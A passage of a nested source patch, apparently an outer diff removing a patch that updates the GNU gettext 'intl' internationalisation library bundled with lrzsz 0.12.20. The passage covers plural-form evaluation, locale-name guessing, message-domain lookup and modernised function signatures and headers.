-+ const char *translation, size_t translation_len)
-+{
-+ struct loaded_domain *domaindata = (struct loaded_domain *) domain->data;
-+ unsigned long int index;
-+ const char *p;
-+
-+ index = plural_eval (domaindata->plural, n);
-+ if (index >= domaindata->nplurals)
-+ /* This should never happen. It means the plural expression and the
-+ given maximum value do not match. */
-+ index = 0;
-+
-+ /* Skip INDEX strings at TRANSLATION. */
-+ p = translation;
-+ while (index-- > 0)
-+ {
-+#ifdef _LIBC
-+ p = __rawmemchr (p, '\0');
-+#else
-+ p = strchr (p, '\0');
-+#endif
-+ /* And skip over the NUL byte. */
-+ p++;
-+
-+ if (p >= translation + translation_len)
-+ /* This should never happen. It means the plural expression
-+ evaluated to a value larger than the number of variants
-+ available for MSGID1. */
-+ return (char *) translation;
-+ }
-+ return (char *) p;
-+}
-+
-+#ifndef _LIBC
-+/* Return string representation of locale CATEGORY. */
-+static const char *
-+internal_function
-+category_to_name (int category)
-+{
-+ const char *retval;
-+
-+ switch (category)
-+ {
-+#ifdef LC_COLLATE
-+ case LC_COLLATE:
-+ retval = "LC_COLLATE";
-+ break;
-+#endif
-+#ifdef LC_CTYPE
-+ case LC_CTYPE:
-+ retval = "LC_CTYPE";
-+ break;
-+#endif
-+#ifdef LC_MONETARY
-+ case LC_MONETARY:
-+ retval = "LC_MONETARY";
-+ break;
-+#endif
-+#ifdef LC_NUMERIC
-+ case LC_NUMERIC:
-+ retval = "LC_NUMERIC";
-+ break;
-+#endif
-+#ifdef LC_TIME
-+ case LC_TIME:
-+ retval = "LC_TIME";
-+ break;
-+#endif
-+#ifdef LC_MESSAGES
-+ case LC_MESSAGES:
-+ retval = "LC_MESSAGES";
-+ break;
-+#endif
-+#ifdef LC_RESPONSE
-+ case LC_RESPONSE:
-+ retval = "LC_RESPONSE";
-+ break;
-+#endif
-+#ifdef LC_ALL
-+ case LC_ALL:
-+ /* This might not make sense but is perhaps better than any other
-+ value. */
-+ retval = "LC_ALL";
-+ break;
-+#endif
-+ default:
-+ /* If you have a better idea for a default value let me know. */
-+ retval = "LC_XXX";
-+ }
-+
-+ return retval;
-+}
-+#endif
-+
-+/* Guess value of current locale from value of the environment variables. */
-+static const char *
-+internal_function
-+guess_category_value (int category, const char *categoryname)
-+{
-+ const char *language;
-+ const char *retval;
-+
-+ /* The highest priority value is the `LANGUAGE' environment
-+ variable. But we don't use the value if the currently selected
-+ locale is the C locale. This is a GNU extension. */
-+ language = getenv ("LANGUAGE");
-+ if (language != NULL && language[0] == '\0')
-+ language = NULL;
-+
-+ /* We have to proceed with the POSIX methods of looking to `LC_ALL',
-+ `LC_xxx', and `LANG'. On some systems this can be done by the
-+ `setlocale' function itself. */
-+#ifdef _LIBC
-+ retval = __current_locale_name (category);
-+#else
-+ retval = _nl_locale_name (category, categoryname);
-+#endif
-+
-+ /* Ignore LANGUAGE if the locale is set to "C" because
-+ 1. "C" locale usually uses the ASCII encoding, and most international
-+ messages use non-ASCII characters. These characters get displayed
-+ as question marks (if using glibc's iconv()) or as invalid 8-bit
-+ characters (because other iconv()s refuse to convert most non-ASCII
-+ characters to ASCII). In any case, the output is ugly.
-+ 2. The precise output of some programs in the "C" locale is specified
-+ by POSIX and should not depend on environment variables like
-+ "LANGUAGE". We allow such programs to use gettext(). */
-+ return language != NULL && strcmp (retval, "C") != 0 ? language : retval;
-+}
-+
-+/* @@ begin of epilog @@ */
-+
-+/* We don't want libintl.a to depend on any other library. So we
-+ avoid the non-standard function stpcpy. In GNU C Library this
-+ function is available, though. Also allow the symbol HAVE_STPCPY
-+ to be defined. */
-+#if !_LIBC && !HAVE_STPCPY
-+static char *
-+stpcpy (char *dest, const char *src)
-+{
-+ while ((*dest++ = *src++) != '\0')
-+ /* Do nothing. */ ;
-+ return dest - 1;
-+}
-+#endif
-+
-+#if !_LIBC && !HAVE_MEMPCPY
-+static void *
-+mempcpy (void *dest, const void *src, size_t n)
-+{
-+ return (void *) ((char *) memcpy (dest, src, n) + n);
-+}
-+#endif
-+
-+
-+#ifdef _LIBC
-+/* If we want to free all resources we have to do some work at
-+ program's end. */
-+libc_freeres_fn (free_mem)
-+{
-+ void *old;
-+
-+ while (_nl_domain_bindings != NULL)
-+ {
-+ struct binding *oldp = _nl_domain_bindings;
-+ _nl_domain_bindings = _nl_domain_bindings->next;
-+ if (oldp->dirname != INTUSE(_nl_default_dirname))
-+ /* Yes, this is a pointer comparison. */
-+ free (oldp->dirname);
-+ free (oldp->codeset);
-+ free (oldp);
-+ }
-+
-+ if (_nl_current_default_domain != _nl_default_default_domain)
-+ /* Yes, again a pointer comparison. */
-+ free ((char *) _nl_current_default_domain);
-+
-+ /* Remove the search tree with the known translations. */
-+ __tdestroy (root, free);
-+ root = NULL;
-+
-+ while (transmem_list != NULL)
-+ {
-+ old = transmem_list;
-+ transmem_list = transmem_list->next;
-+ free (old);
-+ }
-+}
-+#endif
---- lrzsz-0.12.20.safe/intl/dcngettext.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/dcngettext.c 2004-09-12 14:40:34.375745048 -0400
-@@ -0,0 +1,57 @@
-+/* Implementation of the dcngettext(3) function.
-+ Copyright (C) 1995-1999, 2000-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include "gettextP.h"
-+#ifdef _LIBC
-+# include <libintl.h>
-+#else
-+# include "libgnuintl.h"
-+#endif
-+
-+/* @@ end of prolog @@ */
-+
-+/* Names for the libintl functions are a problem. They must not clash
-+ with existing names and they should follow ANSI C. But this source
-+ code is also used in GNU C Library where the names have a __
-+ prefix. So we have to make a difference here. */
-+#ifdef _LIBC
-+# define DCNGETTEXT __dcngettext
-+# define DCIGETTEXT __dcigettext
-+#else
-+# define DCNGETTEXT libintl_dcngettext
-+# define DCIGETTEXT libintl_dcigettext
-+#endif
-+
-+/* Look up MSGID in the DOMAINNAME message catalog for the current CATEGORY
-+ locale. */
-+char *
-+DCNGETTEXT (const char *domainname,
-+ const char *msgid1, const char *msgid2, unsigned long int n,
-+ int category)
-+{
-+ return DCIGETTEXT (domainname, msgid1, msgid2, 1, n, category);
-+}
-+
-+#ifdef _LIBC
-+/* Alias for function name in GNU C Library. */
-+weak_alias (__dcngettext, dcngettext);
-+#endif
---- lrzsz-0.12.20.safe/intl/dgettext.c 1998-04-26 09:20:52.000000000 -0400
-+++ lrzsz-0.12.20/intl/dgettext.c 2004-09-12 14:40:34.380744288 -0400
-@@ -1,32 +1,33 @@
--/* dgettext.c -- implementation of the dgettext(3) function
-- Copyright (C) 1995 Software Foundation, Inc.
-+/* Implementation of the dgettext(3) function.
-+ Copyright (C) 1995-1997, 2000-2003 Free Software Foundation, Inc.
-
--This program is free software; you can redistribute it and/or modify
--it under the terms of the GNU General Public License as published by
--the Free Software Foundation; either version 2, or (at your option)
--any later version.
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-
--This program is distributed in the hope that it will be useful,
--but WITHOUT ANY WARRANTY; without even the implied warranty of
--MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--GNU General Public License for more details.
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
--You should have received a copy of the GNU General Public License
--along with this program; if not, write to the Free Software
--Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-
- #ifdef HAVE_CONFIG_H
- # include <config.h>
- #endif
-
--#if defined HAVE_LOCALE_H || defined _LIBC
--# include <locale.h>
--#endif
-+#include "gettextP.h"
-+
-+#include <locale.h>
-
- #ifdef _LIBC
- # include <libintl.h>
- #else
--# include "libgettext.h"
-+# include "libgnuintl.h"
- #endif
-
- /* @@ end of prolog @@ */
-@@ -37,18 +38,16 @@
- prefix. So we have to make a difference here. */
- #ifdef _LIBC
- # define DGETTEXT __dgettext
--# define DCGETTEXT __dcgettext
-+# define DCGETTEXT INTUSE(__dcgettext)
- #else
--# define DGETTEXT dgettext__
--# define DCGETTEXT dcgettext__
-+# define DGETTEXT libintl_dgettext
-+# define DCGETTEXT libintl_dcgettext
- #endif
-
- /* Look up MSGID in the DOMAINNAME message catalog of the current
- LC_MESSAGES locale. */
- char *
--DGETTEXT (domainname, msgid)
-- const char *domainname;
-- const char *msgid;
-+DGETTEXT (const char *domainname, const char *msgid)
- {
- return DCGETTEXT (domainname, msgid, LC_MESSAGES);
- }
---- lrzsz-0.12.20.safe/intl/dngettext.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/dngettext.c 2004-09-12 14:40:34.385743528 -0400
-@@ -0,0 +1,59 @@
-+/* Implementation of the dngettext(3) function.
-+ Copyright (C) 1995-1997, 2000-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include "gettextP.h"
-+
-+#include <locale.h>
-+
-+#ifdef _LIBC
-+# include <libintl.h>
-+#else
-+# include "libgnuintl.h"
-+#endif
-+
-+/* @@ end of prolog @@ */
-+
-+/* Names for the libintl functions are a problem. They must not clash
-+ with existing names and they should follow ANSI C. But this source
-+ code is also used in GNU C Library where the names have a __
-+ prefix. So we have to make a difference here. */
-+#ifdef _LIBC
-+# define DNGETTEXT __dngettext
-+# define DCNGETTEXT __dcngettext
-+#else
-+# define DNGETTEXT libintl_dngettext
-+# define DCNGETTEXT libintl_dcngettext
-+#endif
-+
-+/* Look up MSGID in the DOMAINNAME message catalog of the current
-+ LC_MESSAGES locale and skip message according to the plural form. */
-+char *
-+DNGETTEXT (const char *domainname,
-+ const char *msgid1, const char *msgid2, unsigned long int n)
-+{
-+ return DCNGETTEXT (domainname, msgid1, msgid2, n, LC_MESSAGES);
-+}
-+
-+#ifdef _LIBC
-+/* Alias for function name in GNU C Library. */
-+weak_alias (__dngettext, dngettext);
-+#endif
---- lrzsz-0.12.20.safe/intl/eval-plural.h 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/eval-plural.h 2004-09-12 14:40:34.390742768 -0400
-@@ -0,0 +1,108 @@
-+/* Plural expression evaluation.
-+ Copyright (C) 2000-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef STATIC
-+#define STATIC static
-+#endif
-+
-+/* Evaluate the plural expression and return an index value. */
-+STATIC
-+unsigned long int
-+internal_function
-+plural_eval (struct expression *pexp, unsigned long int n)
-+{
-+ switch (pexp->nargs)
-+ {
-+ case 0:
-+ switch (pexp->operation)
-+ {
-+ case var:
-+ return n;
-+ case num:
-+ return pexp->val.num;
-+ default:
-+ break;
-+ }
-+ /* NOTREACHED */
-+ break;
-+ case 1:
-+ {
-+ /* pexp->operation must be lnot. */
-+ unsigned long int arg = plural_eval (pexp->val.args[0], n);
-+ return ! arg;
-+ }
-+ case 2:
-+ {
-+ unsigned long int leftarg = plural_eval (pexp->val.args[0], n);
-+ if (pexp->operation == lor)
-+ return leftarg || plural_eval (pexp->val.args[1], n);
-+ else if (pexp->operation == land)
-+ return leftarg && plural_eval (pexp->val.args[1], n);
-+ else
-+ {
-+ unsigned long int rightarg = plural_eval (pexp->val.args[1], n);
-+
-+ switch (pexp->operation)
-+ {
-+ case mult:
-+ return leftarg * rightarg;
-+ case divide:
-+#if !INTDIV0_RAISES_SIGFPE
-+ if (rightarg == 0)
-+ raise (SIGFPE);
-+#endif
-+ return leftarg / rightarg;
-+ case module:
-+#if !INTDIV0_RAISES_SIGFPE
-+ if (rightarg == 0)
-+ raise (SIGFPE);
-+#endif
-+ return leftarg % rightarg;
-+ case plus:
-+ return leftarg + rightarg;
-+ case minus:
-+ return leftarg - rightarg;
-+ case less_than:
-+ return leftarg < rightarg;
-+ case greater_than:
-+ return leftarg > rightarg;
-+ case less_or_equal:
-+ return leftarg <= rightarg;
-+ case greater_or_equal:
-+ return leftarg >= rightarg;
-+ case equal:
-+ return leftarg == rightarg;
-+ case not_equal:
-+ return leftarg != rightarg;
-+ default:
-+ break;
-+ }
-+ }
-+ /* NOTREACHED */
-+ break;
-+ }
-+ case 3:
-+ {
-+ /* pexp->operation must be qmop. */
-+ unsigned long int boolarg = plural_eval (pexp->val.args[0], n);
-+ return plural_eval (pexp->val.args[boolarg ? 1 : 2], n);
-+ }
-+ }
-+ /* NOTREACHED */
-+ return 0;
-+}
---- lrzsz-0.12.20.safe/intl/explodename.c 1998-04-26 09:22:37.000000000 -0400
-+++ lrzsz-0.12.20/intl/explodename.c 2004-09-12 14:40:34.395742008 -0400
-@@ -1,19 +1,20 @@
--/* Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
-+/* Copyright (C) 1995-1998, 2000-2001, 2003 Free Software Foundation, Inc.
- Contributed by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
-
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
- any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-
- #ifdef HAVE_CONFIG_H
- # include <config.h>
-@@ -36,18 +37,23 @@
-
- /* @@ end of prolog @@ */
-
-+char *
-+_nl_find_language (const char *name)
-+{
-+ while (name[0] != '\0' && name[0] != '_' && name[0] != '@'
-+ && name[0] != '+' && name[0] != ',')
-+ ++name;
-+
-+ return (char *) name;
-+}
-+
-+
- int
--_nl_explode_name (name, language, modifier, territory, codeset,
-- normalized_codeset, special, sponsor, revision)
-- char *name;
-- const char **language;
-- const char **modifier;
-- const char **territory;
-- const char **codeset;
-- const char **normalized_codeset;
-- const char **special;
-- const char **sponsor;
-- const char **revision;
-+_nl_explode_name (char *name,
-+ const char **language, const char **modifier,
-+ const char **territory, const char **codeset,
-+ const char **normalized_codeset, const char **special,
-+ const char **sponsor, const char **revision)
- {
- enum { undecided, xpg, cen } syntax;
- char *cp;
-@@ -67,9 +73,7 @@
- mask = 0;
- syntax = undecided;
- *language = cp = name;
-- while (cp[0] != '\0' && cp[0] != '_' && cp[0] != '@'
-- && cp[0] != '+' && cp[0] != ',')
-- ++cp;
-+ cp = _nl_find_language (*language);
-
- if (*language == cp)
- /* This does not make sense: language has to be specified. Use
---- lrzsz-0.12.20.safe/intl/finddomain.c 1998-04-26 09:22:36.000000000 -0400
-+++ lrzsz-0.12.20/intl/finddomain.c 2004-09-12 14:40:34.415738968 -0400
-@@ -1,64 +1,40 @@
- /* Handle list of needed message catalogs
-- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
-- Written by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
-+ Copyright (C) 1995-1999, 2000-2001, 2003 Free Software Foundation, Inc.
-+ Written by Ulrich Drepper <drepper@gnu.org>, 1995.
-
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
- any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-
- #ifdef HAVE_CONFIG_H
- # include <config.h>
- #endif
-
--#include <ctype.h>
--#include <errno.h>
- #include <stdio.h>
- #include <sys/types.h>
--
--#if defined STDC_HEADERS || defined _LIBC
--# include <stdlib.h>
--#else
--# ifdef HAVE_MALLOC_H
--# include <malloc.h>
--# else
--void free ();
--# endif
--#endif
--
--#if defined HAVE_STRING_H || defined _LIBC
--# include <string.h>
--#else
--# include <strings.h>
--# ifndef memcpy
--# define memcpy(Dst, Src, Num) bcopy (Src, Dst, Num)
--# endif
--#endif
--#if !HAVE_STRCHR && !defined _LIBC
--# ifndef strchr
--# define strchr index
--# endif
--#endif
-+#include <stdlib.h>
-+#include <string.h>
-
- #if defined HAVE_UNISTD_H || defined _LIBC
- # include <unistd.h>
- #endif
-
--#include "gettext.h"
- #include "gettextP.h"
- #ifdef _LIBC
- # include <libintl.h>
- #else
--# include "libgettext.h"
-+# include "libgnuintl.h"
- #endif
-
- /* @@ end of prolog @@ */
-@@ -70,10 +46,9 @@
- the DOMAINNAME and CATEGORY parameters with respect to the currently
- established bindings. */
- struct loaded_l10nfile *
--_nl_find_domain (dirname, locale, domainname)
-- const char *dirname;
-- char *locale;
-- const char *domainname;
-+internal_function
-+_nl_find_domain (const char *dirname, char *locale,
-+ const char *domainname, struct binding *domainbinding)
- {
- struct loaded_l10nfile *retval;
- const char *language;
-@@ -95,9 +70,9 @@
-
- language[_territory][+audience][+special][,[sponsor][_revision]]
-
-- Beside the first all of them are allowed to be missing. If the
-- full specified locale is not found, the less specific one are
-- looked for. The various part will be stripped of according to
-+ Beside the first part all of them are allowed to be missing. If
-+ the full specified locale is not found, the less specific one are
-+ looked for. The various parts will be stripped off according to
- the following order:
- (1) revision
- (2) sponsor
-@@ -119,7 +94,7 @@
- int cnt;
-
- if (retval->decided == 0)
-- _nl_load_domain (retval);
-+ _nl_load_domain (retval, domainbinding);
-
- if (retval->data != NULL)
- return retval;
-@@ -127,7 +102,7 @@
- for (cnt = 0; retval->successor[cnt] != NULL; ++cnt)
- {
- if (retval->successor[cnt]->decided == 0)
-- _nl_load_domain (retval->successor[cnt]);
-+ _nl_load_domain (retval->successor[cnt], domainbinding);
-
- if (retval->successor[cnt]->data != NULL)
- break;
-@@ -142,12 +117,18 @@
- alias_value = _nl_expand_alias (locale);
- if (alias_value != NULL)
- {
-+#if defined _LIBC || defined HAVE_STRDUP
-+ locale = strdup (alias_value);
-+ if (locale == NULL)
-+ return NULL;
-+#else
- size_t len = strlen (alias_value) + 1;
- locale = (char *) malloc (len);
- if (locale == NULL)
- return NULL;
-
- memcpy (locale, alias_value, len);
-+#endif
- }
-
- /* Now we determine the single parts of the locale name. First
-@@ -168,14 +149,14 @@
- return NULL;
-
- if (retval->decided == 0)
-- _nl_load_domain (retval);
-+ _nl_load_domain (retval, domainbinding);
- if (retval->data == NULL)
- {
- int cnt;
- for (cnt = 0; retval->successor[cnt] != NULL; ++cnt)
- {
- if (retval->successor[cnt]->decided == 0)
-- _nl_load_domain (retval->successor[cnt]);
-+ _nl_load_domain (retval->successor[cnt], domainbinding);
- if (retval->successor[cnt]->data != NULL)
- break;
- }
-@@ -185,5 +166,27 @@
- if (alias_value != NULL)
- free (locale);
-
-+ /* The space for normalized_codeset is dynamically allocated. Free it. */
-+ if (mask & XPG_NORM_CODESET)
-+ free ((void *) normalized_codeset);
-+
- return retval;
- }
-+
-+
-+#ifdef _LIBC
-+libc_freeres_fn (free_mem)
-+{
-+ struct loaded_l10nfile *runp = _nl_loaded_domains;
-+
-+ while (runp != NULL)
-+ {
-+ struct loaded_l10nfile *here = runp;
-+ if (runp->data != NULL)
-+ _nl_unload_domain ((struct loaded_domain *) runp->data);
-+ runp = runp->next;
-+ free ((char *) here->filename);
-+ free (here);
-+ }
-+}
-+#endif
---- lrzsz-0.12.20.safe/intl/gettext.c 1998-04-26 09:22:36.000000000 -0400
-+++ lrzsz-0.12.20/intl/gettext.c 2004-09-12 14:40:34.420738208 -0400
-@@ -1,19 +1,20 @@
--/* Implementation of gettext(3) function
-- Copyright (C) 1995, 1997 Free Software Foundation, Inc.
-+/* Implementation of gettext(3) function.
-+ Copyright (C) 1995, 1997, 2000-2003 Free Software Foundation, Inc.
-
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
- any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-
- #ifdef HAVE_CONFIG_H
- # include <config.h>
-@@ -23,21 +24,14 @@
- # define __need_NULL
- # include <stddef.h>
- #else
--# ifdef STDC_HEADERS
--# include <stdlib.h> /* Just for NULL. */
--# else
--# ifdef HAVE_STRING_H
--# include <string.h>
--# else
--# define NULL ((void *) 0)
--# endif
--# endif
-+# include <stdlib.h> /* Just for NULL. */
- #endif
-
-+#include "gettextP.h"
- #ifdef _LIBC
- # include <libintl.h>
- #else
--# include "libgettext.h"
-+# include "libgnuintl.h"
- #endif
-
- /* @@ end of prolog @@ */
-@@ -48,20 +42,19 @@
- prefix. So we have to make a difference here. */
- #ifdef _LIBC
- # define GETTEXT __gettext
--# define DGETTEXT __dgettext
-+# define DCGETTEXT INTUSE(__dcgettext)
- #else
--# define GETTEXT gettext__
--# define DGETTEXT dgettext__
-+# define GETTEXT libintl_gettext
-+# define DCGETTEXT libintl_dcgettext
- #endif
-
- /* Look up MSGID in the current default message catalog for the current
- LC_MESSAGES locale. If not found, returns MSGID itself (the default
- text). */
- char *
--GETTEXT (msgid)
-- const char *msgid;
-+GETTEXT (const char *msgid)
- {
-- return DGETTEXT (NULL, msgid);
-+ return DCGETTEXT (NULL, msgid, LC_MESSAGES);
- }
-
- #ifdef _LIBC
---- lrzsz-0.12.20.safe/intl/gettext.h 1998-04-26 09:22:35.000000000 -0400
-+++ lrzsz-0.12.20/intl/gettext.h 1969-12-31 19:00:00.000000000 -0500
-@@ -1,105 +0,0 @@
--/* Internal header for GNU gettext internationalization functions
-- Copyright (C) 1995, 1997 Free Software Foundation, Inc.
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-- any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU Library General Public
-- License along with the GNU C Library; see the file COPYING.LIB. If not,
-- write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
-- Boston, MA 02111-1307, USA. */
--
--#ifndef _GETTEXT_H
--#define _GETTEXT_H 1
--
--#include <stdio.h>
--
--#if HAVE_LIMITS_H || _LIBC
--# include <limits.h>
--#endif
--
--/* @@ end of prolog @@ */
--
--/* The magic number of the GNU message catalog format. */
--#define _MAGIC 0x950412de
--#define _MAGIC_SWAPPED 0xde120495
--
--/* Revision number of the currently used .mo (binary) file format. */
--#define MO_REVISION_NUMBER 0
--
--/* The following contortions are an attempt to use the C preprocessor
-- to determine an unsigned integral type that is 32 bits wide. An
-- alternative approach is to use autoconf's AC_CHECK_SIZEOF macro, but
-- doing that would require that the configure script compile and *run*
-- the resulting executable. Locally running cross-compiled executables
-- is usually not possible. */
--
--#if __STDC__
--# define UINT_MAX_32_BITS 4294967295U
--#else
--# define UINT_MAX_32_BITS 0xFFFFFFFF
--#endif
--
--/* If UINT_MAX isn't defined, assume it's a 32-bit type.
-- This should be valid for all systems GNU cares about because
-- that doesn't include 16-bit systems, and only modern systems
-- (that certainly have <limits.h>) have 64+-bit integral types. */
--
--#ifndef UINT_MAX
--# define UINT_MAX UINT_MAX_32_BITS
--#endif
--
--#if UINT_MAX == UINT_MAX_32_BITS
--typedef unsigned nls_uint32;
--#else
--# if USHRT_MAX == UINT_MAX_32_BITS
--typedef unsigned short nls_uint32;
--# else
--# if ULONG_MAX == UINT_MAX_32_BITS
--typedef unsigned long nls_uint32;
--# else
-- /* The following line is intended to throw an error. Using #error is
-- not portable enough. */
-- "Cannot determine unsigned 32-bit data type."
--# endif
--# endif
--#endif
--
--
--/* Header for binary .mo file format. */
--struct mo_file_header
--{
-- /* The magic number. */
-- nls_uint32 magic;
-- /* The revision number of the file format. */
-- nls_uint32 revision;
-- /* The number of strings pairs. */
-- nls_uint32 nstrings;
-- /* Offset of table with start offsets of original strings. */
-- nls_uint32 orig_tab_offset;
-- /* Offset of table with start offsets of translation strings. */
-- nls_uint32 trans_tab_offset;
-- /* Size of hashing table. */
-- nls_uint32 hash_tab_size;
-- /* Offset of first hashing entry. */
-- nls_uint32 hash_tab_offset;
--};
--
--struct string_desc
--{
-- /* Length of addressed string. */
-- nls_uint32 length;
-- /* Offset of string in file. */
-- nls_uint32 offset;
--};
--
--/* @@ begin of epilog @@ */
--
--#endif /* gettext.h */
---- lrzsz-0.12.20.safe/intl/gettextP.h 1998-04-26 09:22:35.000000000 -0400
-+++ lrzsz-0.12.20/intl/gettextP.h 2004-09-12 14:40:34.426737296 -0400
-@@ -1,33 +1,53 @@
--/* Header describing internals of gettext library
-- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
-+/* Header describing internals of libintl library.
-+ Copyright (C) 1995-1999, 2000-2003 Free Software Foundation, Inc.
-+ Written by Ulrich Drepper <drepper@cygnus.com>, 1995.
-
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
- any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-
- #ifndef _GETTEXTP_H
- #define _GETTEXTP_H
-
-+#include <stddef.h> /* Get size_t. */
-+
-+#ifdef _LIBC
-+# include "../iconv/gconv_int.h"
-+#else
-+# if HAVE_ICONV
-+# include <iconv.h>
-+# endif
